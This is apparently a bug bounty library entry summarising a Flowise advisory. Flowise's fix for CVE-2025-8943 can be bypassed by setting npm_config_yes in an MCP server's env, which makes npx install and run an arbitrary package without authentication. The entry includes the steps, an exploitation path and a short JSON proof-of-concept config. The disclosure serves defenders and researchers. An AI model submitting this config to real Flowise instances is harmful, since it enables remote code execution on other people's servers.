# Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

Flowise's CVE-2025-8943 fix blocklists only four env var names; setting npm_config_yes=true makes npx auto-install and run an arbitrary package, giving unauthenticated RCE.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: leoelsolh
- Disclosed: 2026-08-04
- CVE: CVE-2026-69263
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xc48-889x-5qmw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xc48-889x-5qmw
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** MCP server configuration in Flowise components (core.ts command/env validation)
**Root cause:** The patch for CVE-2025-8943 filters dangerous npx flags but validates env vars against a hardcoded four-name denylist by exact match, while npm reads config from arbitrary npm_config_* variables.
**Steps:**
1. Configure an MCP server with `command: npx`, `args: ["malicious-package"]`, and `env: {"npm_config_yes": "true"}` with CUSTOM_MCP_SECURITY_CHECK=true.
2. `validateCommandFlags` passes since no blocked flags appear in args.
3. `validateEnvironmentVariables` passes since `npm_config_yes` is not in the four-item blocklist.
4. npx auto-installs and executes the named package with Flowise process privileges.
**How found:** Noticed the patch framed the issue as flag filtering while npm also accepts configuration via npm_config_* environment variables, then checked the env validator and found it was a four-item exact-match denylist.
**Exploitation:** Any unauthenticated user reaching the Flowise API on a default no-auth deployment submits the MCP server config; npx auto-installs the attacker-named package and executes it as the Flowise process, yielding RCE.
**Insight:** When a fix blocks CLI flags, check whether the same behavior is reachable via environment-based config (npm_config_*, NODE_OPTIONS, PYTHONPATH) — denylists of names are inherently incomplete; also test sibling permitted interpreters for equivalent env hooks.

## Proof of concept (copied exactly from the original report)

**MCP server config with npm_config_yes bypass**

```
{
  "mcpServers": {
    "bypass": {
      "command": "npx",
      "args": ["malicious-package"],
      "env": {
        "npm_config_yes": "true"
      }
    }
  }
}
```